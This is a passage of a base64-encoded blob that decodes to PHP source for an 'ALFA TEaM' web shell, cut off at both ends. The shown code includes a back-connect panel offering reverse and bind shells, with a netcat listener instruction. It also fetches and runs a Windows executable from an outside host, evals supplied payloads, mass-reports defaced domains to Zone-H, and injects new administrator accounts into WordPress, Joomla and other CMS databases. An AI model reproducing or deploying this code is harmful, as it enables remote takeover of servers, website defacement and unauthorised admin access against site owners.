d1M1FvVzM4N2ZpVnJxWHQxaXZkNjZwMWVzN244L1Q1MnAwN1NTTkZNbUk4QWY0ZGkyYjBJOWpCaFZLMTdDWEpoS21pR2NXMG1pYWpSMDhmbjduUFFNQzNoZ25Bb2F6b0dhandXbEFQVmNHSFV3aURJSWN4bGcwOWt3RVNvQnJCOGZISFo1Ky9EdDRlbmJ4NmYvd3V6cXNacDBNSjhYU29hTkVKcDNMRytLVjVUeG1mek1Lb3IwUUR2Zkd3bEJBQXo1MUZBY1BTT09sSUpTSnRPZFY3Z05nWXYySWx4SERPcEpKOXI5VGFnWThuNWpDejByZzFFS3ZxcXc3TkdEYkhiYVJZRmNDeFNFVThrYzJvazJSSjBpVlpSaUpzWVQ0TjRhTFJoNDZPWDMrS1MrQVRWYVRwZm9EMU1xSXZEMDdUbjhrL1h4N2MvL1AwWXIvNzVHbzM2ZGZwRzY1Z0FxTGpFVkZQQjZ2c0dabWVQQjk4QVBFZGhJMlRrRzRkV1ExTlpUeWtGR29IcEhFdEdGZVkyRFpnV1VCWjRoNm1GZWRBRmVRWkp4WTNnZ25qOXNrc0hTaXZsTzhGWGxqamxKb3FzQ1VobkFQRjB2b1pkd2ljMTVWUStPVGw4YnYwWElHWUhndys3S2RodGp2NCswVjJHQjU0dlJZZTJEc2tDM3lmNGV5djdON2RIR2VIZG52b2R0SWRtMWMwOXdhbXNZdXUyL1RtUFNZeGlmYklJVmxDelFyZGFWenEyQ2VnbGhNeVN3eVpCQXhDVk9LWnFFenlwV2xHemlBVC9kMWtCZStyVThhMHFLWjFtaEt5QXZFd1k0Zm1PUDRqWVdzaFpwVnA2ZStPUmlhc0c0YVJNN3p4Ukh0MWN6MC9WRlhpUjc5VFJodlJ6c2U4UUxjZ1h6Q2h2V3ZMTndITlpkNmsyNjRqQ3czMVpjcG12UnZMdEM1cFY2ZXRFN29OL3ArbUJSdE52WGtmMTFVTnZGTjJpU0RSeFNXckxsdnpyREpzays4UlBaZDdLNzZ1Z20zRC9sMjIrTDE5RmlCcGMzM3ZOZm5ONlFXNGJNUjFCakttWmJXUWtVdzVLNFBXbHV2aEVyRTl0QVM1Z2RpMG8xVnFPOURTSXJYZjlrODF4NW9DK29BYzRUckdzejhlanZGMkxvb3J5M3BJYnNGeHlCRWNRa3ZVaGhBYWE3NjBqSWFNdS8rYnlGQ2IyVHpvMVF1bGxTMWhTVWRZV29KdUlTa2JQMXJEVE1qTEY2bkl5dEJtNGtIdG9UVTBnOXJEaTR6aWhVdms0VVMyZDNiZG1MQ3R5MjlNc0RtS2RwQlgzUzVyL28xejhNaDEweW0zbk00bHAzNTNtLzh6c0hiZ2tKODJFNldiTS8xa0p3ejU4WEtUWjhGRzhncz0iOyAgJG5vZGU9Im5WSExhc013RUR3cmtIOFF2bGlDb0VEVFc4aWg5QlBTVy9wQXRkZVJRSlpjU1hZS0lmbjJ5cktkNXRHV1loK0VkMmQyTkR0cXVNV3U0anVOVjlqQ1J5MHRrRFFUVXVWdmxUVVpPSmRTRmduTDZhUUpaQTMrbkJyS2xQYVE4eFo0ZVk1Mm5STWhNOW9aQlJkWGRhMUk2VlVFS0JVbzZmeGQ2cmtUYVVCa1FYbzNyRkxjRjhhV3JPUStFMlQrdWdzc1NlbjNYRmJtREQ0aFBTbHl1MjBDTUNpMFphZlovakVGZXV2RmFyV2crK2tFdFh3UnlHRXZsZ1h6SHRaZ0c3Q2txSFhtcGRIRVJSNXliR2VsQjVJYzhZTXFPSDVxVjE5SEQ4ZG5uYlQ3NFA3cnRncWlNVWNTalo3alRqRG5jNm1aQlZlWFFPZzFaR3JQd3MxSnpqMVBab01UVE5xYTdnY25zVm9lYnBYQjJwSGpmNDBOcG0rbVVYY0twcVR6b0dQS203dVh0bm1ZVGtBNXdOZlozNSt5ZHhmWlB4cXRvWXU5VjVuRjE5d3NvdHgvSGdIOWxqNzZJWFkwTW04ME1tZzBMdUhERnc9PSI7ICAkYz0idFZKdGI5b3dFUDdjU3YwUEhwMWFwL1dBc08wVFRhV29aQkxhQ2hISk5FMGJpbExITktjWkc4Vm1nazdyYjk4bEJBclppL2FsVXF6Y1BmZjQ3bnpQbllMaWNwa0pjbVZzQnJxZFg1OGNuKzVoQmFqNzM4Qk13bDBUWEp1T1hTK0UrUU51TlA4bWJDT2doQVU4SFZDTndGSUJWcWhBVUpiTVUxQzBOTkxpbmpPZXB3VzVRUFA3bDZuejQrVDRxSXdZeHBuMjNENjYyUENTSTRJVjB5d3JFbEFFU2h4bXRMenZlYjNxMWhHMERhaGtsczVCcmozL1hUSWNCWEgvS2JEUWhmVnlxNVdocWRWQXE0THUxSEgyT0dYK3RxbCtGVlhTNGNnZkRDYUpQL3E4NFJsdjgzSmFGMkRSK09aOUVzV1R3TDlsM1pvamJFblNDMHNOeGo4a0phZWlKcFBnWXhTVUdkbVpaZ1llaEo1UnZXMWhSbDhZUjZ6QTBqclJIYWdNVTlER0JNaUZjd2FzdTNKcm1zVGhDb1hFdHh1ZmV5bm5vcXJlZmVvSlUzSFdlaVMrbktVa0Z1bWNSTG1Ra2p4K1ZTM1dlN01sWnN0RkQ0bUhubnZnOWVxVWF5dzdweTJ4S2tkTDRtQnk2NjJzS09iOU1ISzk4NWZocDhIMWViK09Jb1NtNEtTRGorcVluTHlDVnQydDFFWlFYamsvOFFocEJObHArL3BadEMyM3RMSTJ6TjYwbnZlREtQUVdZamgxaVdQZE1pN2R5MzFrbC8yZkd6RU13OGs0SGlmeFRiZ1RtWEt0bE9EMnI4cldlOUdJT1k1ejFUMVlqMHBUODcrYW1vYm5IbmpQb2FuWmFvcmZMdz09IjsgICRqYXZhPSJsVlJOYjlzd0REMm5RUCtENEpNOUJHNlQwNGJDd3o2d3c0QUJIWmJldWh3VWhiRzEycklnMFhHQ05QdnRvejdzdW1zdlBkaVd5Q2Z5OFpHeWJIUnJrUDNoZTU3TE5uOTNjM2toSnlZRjZHMlhGN3JiMUZJd1VYTnJHYTkzL0E1NGM3cThtR2tqOXh5QldlUklnSjFVdkk0d2pRd09DR3ByMlYxbGdHOGRmanp3WGVrT1YwajJoa2w3TTNYZGR2amthenYwRE1nZE9HaE1uNStkdnppUW5iQ1NOcGUyb01oK1NjYkNSVHFIVUo5dTkyQ00zTUlrN3I2VlcyWTZsV2FlNXd6Tk1TeG1teVBDL1pwdFdNRVU5TXh2M3k4K0xOYzN3UzhWTWtGT3l1UEtURGRaZFBTVnJDRVZINHZyak1WWU0yS1I5MFlpcEp2NTlWd01VRy9mMVoydDB0SDBhc3l6LzRTMzRDaXE5TnRCZ0ViWktnYlpDWEpTVVpFV1hEemNHUzZBd25td2U0WHFZNzJ4WTc3c2hrdVZrbjVTbFZRb042VU5JcmpLM0RqNDNNSFBSTE1sWHNuVlJxb3JXeVhlSlhmcDZtZ1JtcndFL0dsYURRYVBhZExhWFBFR2tpekg5a2ZiZy9uS0xSSEtwZHJDNFhhWEpyMVVTZWJrT2NXbzlFa0MzNWl0ZDlhLzdET05ISE16eDFZVjFEWDcrMXVGekpQZTlDNzVGOXJiS09HcUZRK0FySXA5Qzl2b0c3dEwxRjI5ZVEycXhLb29Gckg5TTM4TkNwcFRoQkpNcnJteFFCdVB2cjllRC8xWWdhRlppcW5za0dwaVRGMmdBZTI0Mkp3TDE3R2gwYUdYVUZ0Zy81Tlp2cFZNRUUxcXduclhZajFKUEJGQjZqbWI4RHEvTGdWN2ZHU3Y4NW5ld0ZLNnNpdW4vc1E4anZHenkxbTJJM1pxSDhIa0gyN0hZS0p4RXVCK0ozVHdWNmRRTnVDT3h5Vk5FeHhBcERRNFdmeFBrRm8wdFl0WU1PbXNYMUNiT3lKREFvZGVQcUZMOTBmUkx4bU84RVZPVjhlNDl1bmx1SHlTMGIvZWNEUHBPZjhEIjsgIGVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IEJhY2sgQ29ubmVjdCB8PC9kaXY+PGJyPjxicj4iOyAgZWNobyAiPGZvcm0gb25TdWJtaXQ9XCJnKCdjb25uZWN0JyxudWxsLHRoaXMuc2VsZWN0Q2IudmFsdWUsdGhpcy5zZXJ2ZXIudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMuY2JtZXRob2QudmFsdWUpO3JldHVybiBmYWxzZTtcIj4KPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5NZWh0b2Q6PC9kaXY+IDxzZWxlY3QgbmFtZT0nY2JtZXRob2QnIG9uQ2hhbmdlPSdjdGxiYyh0aGlzKTsnIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxvcHRpb24gdmFsdWU9J2JhY2snPlJldmVyc2UgU2hlbGw8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdiaW5kJz5CaW5kIFBvcnQ8L29wdGlvbj48L3NlbGVjdD4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5Vc2U6PC9kaXY+IDxzZWxlY3QgbmFtZT0nc2VsZWN0Q2InPiI7ICAgJGNiQXJyID0gYXJyYXkoInBocCI9PiJQaHAiLCJwZXJsIj0+IlBlcmwiLCJweXRob24iPT4iUHl0aG9uIiwicnVieSI9PiJSdWJ5IiwiYyI9PiJDIiwiamF2YSI9PiJKYXZhIiwibm9kZSI9PiJOb2RlSnMiLCJiY3dpbiI9PiJXaW5kb3dzIik7ICBmb3JlYWNoKCRjYkFyciBhcyAka2V5PT4kdmFsKXtlY2hvKCI8b3B0aW9uIHZhbHVlPSd7JGtleX0nICIuKCRHTE9CQUxTWydzeXMnXT09J3dpbic/J3NlbGVjdGVkJzonJykuIj57JHZhbH08L29wdGlvbj4iKTt9ICBlY2hvICI8L3NlbGVjdD4gPGRpdiBpZD0nYmNpcEFjdGlvbicgc3R5bGU9J2Rpc3BsYXk6aW5saW5lLWJsb2NrOyc+PGRpdiBjbGFzcz1cInR4dGZvbnRcIj5JUDo8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3NlcnZlcicgdmFsdWU9JyIuICRfU0VSVkVSWydSRU1PVEVfQUREUiddIC4iJz48L2Rpdj4gPGRpdiBjbGFzcz1cInR4dGZvbnRcIj5Qb3J0OiA8L2Rpdj4gPGlucHV0IHR5cGU9J3RleHQnIHNpemU9JzUnIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnIG5hbWU9J3BvcnQnIHZhbHVlPScyMDEyJz4gPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvZm9ybT48cD48ZGl2IGlkPSdiY1N0YXR1cyc+PHNtYWxsPlJ1biBgIDxmb250IGNvbG9yPSdyZWQnPm5jIC1sIC12IC1wIHBvcnQ8L2ZvbnQ+IGAgb24geW91ciBjb21wdXRlciBhbmQgcHJlc3MgYCA8Zm9udCBjb2xvcj0ncmVkJz4+PjwvZm9udD4gYCBidXR0b248L3NtYWxsPjwvZGl2PjwvcD48L2NlbnRlcj48L2I+PC9mb250Pjxicj4iOyAgaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTEnXSkpeyAgJGxhbmcgPSAkX1BPU1RbJ2FsZmExJ107ICAkaXAgPSAkX1BPU1RbJ2FsZmEyJ107ICAkcG9ydCA9ICRfUE9TVFsnYWxmYTMnXTsgICRhcmcgPSAoJF9QT1NUWydhbGZhNCddPT0nYmluZCc/JHBvcnQ6JHBvcnQuJyAnLiRpcCk7ICAkdG1wZGlyID0gQUxGQV9URU1QRElSOyAgJG5hbWUgPSAkdG1wZGlyLicvJy4kbGFuZy51bmlxaWQoKS5yYW5kKDEsOTk5OTkpOyAgJGFsbG93ID0gYXJyYXkoJ3BlcmwnLCdydWJ5JywncHl0aG9uJywnbm9kZScpOyAgZXZhbCgnJGxhbj0kJy4kbGFuZy4nOycpOyAgaWYoaW5fYXJyYXkoJGxhbmcsJGFsbG93KSl7ICBpZihfX3dyaXRlX2ZpbGUoJG5hbWUsX19nZXRfcmVzb3VyY2UoJGxhbikpKXsgIGlmKF9hbGZhX2Nhbl9ydW5Db21tYW5kKHRydWUsdHJ1ZSkpeyAgJG9zID0gKCRHTE9CQUxTWydzeXMnXSE9J3dpbicpPycxPi9kZXYvbnVsbCAyPiYxICYnOicnOyAgJG91dCA9IGFsZmFFeCgiJGxhbmcgJG5hbWUgJGFyZyAkb3MiKTsgIGlmKCRvdXQ9PScnKXskb3V0PSI8Zm9udCBjb2xvcj0nZ3JlZW4nPjxjZW50ZXI+WyBGaW5pc2hlZC4uLiEgXTwvY2VudGVyPjwvZm9udD4iO30gIGVjaG8oIjxwcmUgY2xhc3M9J21sMScgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz57JG91dH08L3ByZT4iKTsgIH0gIH1lbHNleyAgZWNobygiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Zm9udCBjb2xvcj0ncmVkJz48Y2VudGVyPlsgRmFpbGVkLi4uISBdPC9jZW50ZXI+PC9mb250PjwvcHJlPiIpOyAgfSAgfSAgaWYoJGxhbmc9PSdqYXZhJ3x8JGxhbmc9PSdjJyl7ICAkY29kZSA9IF9fZ2V0X3Jlc291cmNlKCRsYW4pOyAgJG91dCA9IG5sMmJyKGJjaW5pdCgkbGFuZywgJGNvZGUsJycsJycpKTsgIGVjaG8oIjxwcmUgY2xhc3M9bWwxIHN0eWxlPSdtYXJnaW4tdG9wOjVweCc+PGNlbnRlcj57JG91dH08L2NlbnRlcj48L3ByZT4iKTsgIH0gIGlmKCRsYW5nPT0nYmN3aW4nKXsgICRhbGZhID0gbmV3IEFsZmFDVVJMKCk7ICAkcyA9ICRhbGZhLT5TZW5kKCdodHRwOi8vc29sZXZpc2libGUuY29tL2JjL3dpbmRvd3MuZXhlJyk7ICAkdG1wZGlyID0gQUxGQV9URU1QRElSOyAgJGYgPSBAZm9wZW4oJHRtcGRpci4nL2Jjd2luLmV4ZScsJ3crJyk7ICBAZndyaXRlKCRmLCAkcyk7ICBAZmNsb3NlKCRmKTsgICRvdXQgPSBhbGZhRXgoJHRtcGRpci4iL2Jjd2luLmV4ZSAiLiRfUE9TVFsnYWxmYTInXS4iICIuJF9QT1NUWydhbGZhMyddKTsgIH0gIGlmKCRsYW5nPT0ncGhwJyl7ICBlY2hvICI8cHJlIGNsYXNzPW1sMSBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnPiI7ICAkY29kZSA9IF9fZ2V0X3Jlc291cmNlKCRsYW4pOyAgaWYoJGNvZGUhPT1mYWxzZSl7ICAkY29kZSA9ICJcJHRhcmdldCA9IFwiIi4kYXJnLiJcIjtcbiIuJGNvZGU7ICBldmFsKCRjb2RlKTsgIGVjaG8oIjxjZW50ZXI+PGZvbnQgY29sb3I9J2dyZWVuJz5bIEZpbmlzaGVkLi4uISBdPC9mb250PjwvY2VudGVyPiIpOyAgfSAgZWNobyAiPC9wcmU+IjsgIH0gIH0gIGVjaG8gIjwvZGl2PiI7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhem9uZWgoKXsgIGFsZmFoZWFkKCk7ICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOyAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykpeyAgZWNobyAiPHByZSBjbGFzcz1tbDEgc3R5bGU9J21hcmdpbi10b3A6NXB4Jz48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48Yj48YmlnPjxiaWc+UEhQIENVUkwgTk9UIEVYSVNUIH4gWk9ORSBIIE1BU1MgUE9TVEVSIERPRVMgTk9UIFdPUks8L2I+PC9mb250PjwvYmlnPjwvYmlnPjwvY2VudGVyPjwvcHJlPiI7ICB9ICAkaGFja21vZGUgPSBhcnJheSgna25vd24gdnVsbmVyYWJpbGl0eSAoaS5lLiB1bnBhdGNoZWQgc3lzdGVtKScsJ3VuZGlzY2xvc2VkIChuZXcpIHZ1bG5lcmFiaWxpdHknLCdjb25maWd1cmF0aW9uIC8gYWRtaW4uIG1pc3Rha2UnLCdicnV0ZSBmb3JjZSBhdHRhY2snLCdzb2NpYWwgZW5naW5lZXJpbmcnLCdXZWIgU2VydmVyIGludHJ1c2lvbicsJ1dlYiBTZXJ2ZXIgZXh0ZXJuYWwgbW9kdWxlIGludHJ1c2lvbicsJ01haWwgU2VydmVyIGludHJ1c2lvbicsJ0ZUUCBTZXJ2ZXIgaW50cnVzaW9uJywnU1NIIFNlcnZlciBpbnRydXNpb24nLCdUZWxuZXQgU2VydmVyIGludHJ1c2lvbicsJ1JQQyBTZXJ2ZXIgaW50cnVzaW9uJywnU2hhcmVzIG1pc2NvbmZpZ3VyYXRpb24nLCdPdGhlciBTZXJ2ZXIgaW50cnVzaW9uJywnU1FMIEluamVjdGlvbicsJ1VSTCBQb2lzb25pbmcnLCdGaWxlIEluY2x1c2lvbicsJ090aGVyIFdlYiBBcHBsaWNhdGlvbiBidWcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIGJydXRlZm9yY2luZycsJ1JlbW90ZSBhZG1pbmlzdHJhdGl2ZSBwYW5lbCBhY2Nlc3MgcGFzc3dvcmQgZ3Vlc3NpbmcnLCdSZW1vdGUgYWRtaW5pc3RyYXRpdmUgcGFuZWwgYWNjZXNzIHNvY2lhbCBlbmdpbmVlcmluZycsJ0F0dGFjayBhZ2FpbnN0IGFkbWluaXN0cmF0b3IocGFzc3dvcmQgc3RlYWxpbmcvc25pZmZpbmcpJywnQWNjZXNzIGNyZWRlbnRpYWxzIHRocm91Z2ggTWFuIEluIHRoZSBNaWRkbGUgYXR0YWNrJywnUmVtb3RlIHNlcnZpY2UgcGFzc3dvcmQgZ3Vlc3NpbmcnLCdSZW1vdGUgc2VydmljZSBwYXNzd29yZCBicnV0ZWZvcmNlJywnUmVyb3V0aW5nIGFmdGVyIGF0dGFja2luZyB0aGUgRmlyZXdhbGwnLCdSZXJvdXRpbmcgYWZ0ZXIgYXR0YWNraW5nIHRoZSBSb3V0ZXInLCdETlMgYXR0YWNrIHRocm91Z2ggc29jaWFsIGVuZ2luZWVyaW5nJywnRE5TIGF0dGFjayB0aHJvdWdoIGNhY2hlIHBvaXNvbmluZycsJ05vdCBhdmFpbGFibGUnLCdDcm9zcy1TaXRlIFNjcmlwdGluZycpOyAgJHJlYXNvbiA9IGFycmF5KCdIZWguLi5qdXN0IGZvciBmdW4hJywnUmV2ZW5nZSBhZ2FpbnN0IHRoYXQgd2Vic2l0ZScsJ1BvbGl0aWNhbCByZWFzb25zJywnQXMgYSBjaGFsbGVuZ2UnLCdJIGp1c3Qgd2FudCB0byBiZSB0aGViZXN0IGRlZmFjZXInLCdQYXRyaW90aXNtJywnTm90IGF2YWlsYWJsZScpOyAgZWNobyAnCjxjZW50ZXI+PGJyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFpvbmUtaCBNYXNzIFBvc3RlciB8PC9kaXY+PGNlbnRlcj48YnI+Cjxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiIG9uc3VibWl0PSJnKFwnem9uZWhcJyxudWxsLHRoaXMuZGVmYWNlci52YWx1ZSx0aGlzLmhhY2ttb2RlLnZhbHVlLHRoaXMucmVhc29uLnZhbHVlLHRoaXMuZG9tYWluLnZhbHVlLFwnPj5cJyk7IHJldHVybiBmYWxzZTsiPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZGVmYWNlciIgc2l6ZT0iNjciIGlkPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iQUxGQSBURWFNIDIwMTIiIC8+Cjxicj4KPHNlbGVjdCBpZD0idGV4dCIgbmFtZT0iaGFja21vZGUiIHN0eWxlPSJ3aWR0aDo0MDBweDsiPic7ICAkeD0xOyAgZm9yZWFjaCgkaGFja21vZGUgYXMgJG1vZGUpe2VjaG8oJzxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSInLiR4LiciPicuJG1vZGUuJzwvb3B0aW9uPicpOyR4Kys7fSAgZWNobyAnPC9zZWxlY3Q+PGJyPjxzZWxlY3QgaWQ9InRleHQiIG5hbWU9InJlYXNvbiIgc3R5bGU9IndpZHRoOjIwMHB4OyI+JzsgICR4PTE7ICBmb3JlYWNoKCRyZWFzb24gYXMgJG1vZGUpe2VjaG8oJzxvcHRpb24gc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IHJnYihGLCBGLCBGKTsiIHZhbHVlPSInLiR4LiciPicuJG1vZGUuJzwvb3B0aW9uPicpOyR4Kys7fSAgZWNobyAnPC9zZWxlY3Q+PGJyPgo8dGV4dGFyZWEgbmFtZT0iZG9tYWluIiBjb2xzPSI5MCIgcm93cz0iMjAiIHBsYWNlaG9sZGVyPSJEb21haW5zLi4uIj48L3RleHRhcmVhPjxicj4KPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIG5hbWU9ImdvIiAvPjwvcD4KPC9mb3JtPjwvY2VudGVyPic7ICBpZigkX1BPU1RbJ2FsZmE1J10gJiYgJF9QT1NUWydhbGZhNSddID09ICc+PicpeyAgb2Jfc3RhcnQoKTsgICRoYWNrZXIgPSAkX1BPU1RbJ2FsZmExJ107ICAkbWV0aG9kID0gJF9QT1NUWydhbGZhMiddOyAgJG5lZGVuID0gJF9QT1NUWydhbGZhMyddOyAgJHNpdGUgPSAkX1BPU1RbJ2FsZmE0J107ICBpZihlbXB0eSgkaGFja2VyKSl7ICBkaWUgKF9fcHJlKCkuIjxjZW50ZXI+PGI+PGZvbnQgY29sb3IgPVwiI0ZGMDAwMFwiPlsrXSBZT1UgTVVTVCBGSUxMIFRIRSBBVFRBQ0tFUiBOQU1FIFsrXTwvZm9udD48L2I+PC9jZW50ZXI+Iik7ICB9ZWxzZWlmKCRtZXRob2QgPT0gIi0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVNFTEVDVC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iKXsgIGRpZShfX3ByZSgpLiI8Y2VudGVyPjxiPjxmb250IGNvbG9yID1cIiNGRjAwMDBcIj5bK10gWU9VIE1VU1QgU0VMRUNUIFRIRSBNRVRIT0QgWytdPC9iPjwvZm9udD48L2NlbnRlcj4iKTsgIH1lbHNlaWYoJG5lZGVuID09ICItLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1TRUxFQ1QtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIil7ICBkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIFNFTEVDVCBUSEUgUkVBU09OIFsrXTwvYj48L2ZvbnQ+PC9jZW50ZXI+Iik7ICB9ZWxzZWlmKGVtcHR5KCRzaXRlKSl7ICBkaWUoX19wcmUoKS4iPGNlbnRlcj48Yj48Zm9udCBjb2xvciA9XCIjRkYwMDAwXCI+WytdIFlPVSBNVVNUIElOVEVSIFRIRSBTSVRFUyBMSVNUIFsrXTxmb250PjwvYj48L2NlbnRlcj4iKTsgIH0gICRpID0gMDsgICRzaXRlcyA9IGV4cGxvZGUoIlxuIiwgJHNpdGUpOyAgJGFsZmEgPSBuZXcgQWxmYUNVUkwoKTsgIHdoaWxlKCRpIDwgY291bnQoJHNpdGVzKSl7ICBpZihzdWJzdHIoJHNpdGVzWyRpXSwgMCwgNCkgIT0gImh0dHAiKXsgICRzaXRlc1skaV0gPSAiaHR0cDovLyIuJHNpdGVzWyRpXTsgIH0gICRhbGZhLT5TZW5kKCJodHRwOi8vd3d3LnpvbmUtaC5jb20vbm90aWZ5L3NpbmdsZSIsInBvc3QiLCJkZWZhY2VyPSIuJGhhY2tlci4iJmRvbWFpbjE9Ii4gJHNpdGVzWyRpXS4iJmhhY2ttb2RlPSIuJG1ldGhvZC4iJnJlYXNvbj0iLiRuZWRlbik7ICArKyRpOyAgfSAgZWNobyBfX3ByZSgpLiI8Y2VudGVyPjxmb250IGNvbG9yID1cIiMwMEEyMjBcIj48Yj5bK10gU2VuZGluZyBTaXRlcyBUbyBab25lLUggSGFzIEJlZW4gQ29tcGxldGVkIFN1Y2Nlc3NmdWxseSAhISFbK108L2I+PGZvbnQ+PC9jZW50ZXI+IjsgIH0gIGVjaG8gIjwvZGl2PiI7ICBhbGZhZm9vdGVyKCk7ICB9ICBmdW5jdGlvbiBhbGZhcHdjaGFuZ2VyKCl7ICBhbGZhaGVhZCgpOyAgICBlY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBBZGQgTmV3IEFkbWluIHw8L2Rpdj4KPGNlbnRlcj48aDM+JzsgICR2YWxzID0gYXJyYXkoJ1dvcmRQcmVzcycgPT4gYXJyYXkoJ3dwJywyKSwnSm9vbWxhJyA9PiBhcnJheSgnam9vbWxhJywzKSwndkJ1bGxldGluJyA9PiBhcnJheSgndmInLDUpLCdwaHBCQicgPT4gYXJyYXkoJ3BocGJiJyw2KSwnV0hNQ1MnID0+IGFycmF5KCd3aG1jcycsNyksJ015QkInID0+IGFycmF5KCdteWJiJyw4KSwnUGhwIE51a2UnID0+IGFycmF5KCdudWtlJyw5KSwnRHJ1cGFsJyA9PiBhcnJheSgnZHJ1cGFsJywxMCksJ1NNRicgPT4gYXJyYXkoJ3NtZicsMTEpKTsgIEFsZmFfQ3JlYXRlX0FfVGFnKCdwd2NoYW5nZXInLCR2YWxzKTsgIGVjaG8gJzwvaDM+PC9jZW50ZXI+JzsgIGlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkmJiRfUE9TVFsnYWxmYTEnXT09J3dwJyl7ICAgIGVjaG8gX19wcmUoKS4nPGNlbnRlcj48Y2VudGVyPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IFdvcmRQcmVzcyB8PC9kaXY+CjxwPicuZ2V0Q29uZmlnSHRtbCgnd3AnKS4nPC9wPjxmb3JtIG9uU3VibWl0PSJnKFwncHdjaGFuZ2VyXCcsbnVsbCxcJ3dwXCcsXCc+PlwnLHRoaXMubG9jYWxob3N0LnZhbHVlLHRoaXMuZGF0YWJhc2UudmFsdWUsdGhpcy51c2VybmFtZS52YWx1ZSx0aGlzLnBhc3N3b3JkLnZhbHVlLG51bGwsdGhpcy5hZG1pbi52YWx1ZSx0aGlzLmVtYWlsLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTtyZXR1cm4gZmFsc2U7IiBtZXRob2Q9IlBPU1QiPic7ICAkdGFibGUgPSBhcnJheSgndGQxJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0JywnaWQnPT4nZGJfaG9zdCcsICdpbnB1dE5hbWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLCAgICd0ZDInID0+ICAgYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUnLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0TmFtZScgPT4gJ2RhdGFiYXNlJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQzJyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBVc2VyJywgJ2lkJz0+J2RiX3VzZXInLCdpbnB1dE5hbWUnID0+ICd1c2VybmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksICAgJ3RkNCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgUGFzcycsICdpZCc9PidkYl9wdycsJ2lucHV0TmFtZScgPT4gJ3Bhc3N3b3JkJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ1JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXgnLCAnaWQnPT4nZGJfcHJlZml4JywnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lucHV0VmFsdWUnID0+ICd3cF8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ2JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBVc2VyJywgJ2lucHV0TmFtZScgPT4gJ2FkbWluJywgJ2lucHV0VmFsdWUnID0+ICdrYXN0cm8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwgICAndGQ3JyA9PiAgIGFycmF5KCdjb2xvcicgPT4gJ0ZGMDAwMCcsICd0ZE5hbWUnID0+ICdBZG1pbiBQYXNzJywgJ2lucHV0TmFtZScgPT4gJ2toJywgJ2lucHV0VmFsdWUnID0+ICdzb2xldmlzaWJsZScsICdpbnB1dFNpemUnID0+ICc1MCcsICdkaXNhYmxlZCcgPT4gdHJ1ZSksICAgJ3RkOCcgPT4gICBhcnJheSgnY29sb3InID0+ICdGRjAwMDAnLCAnd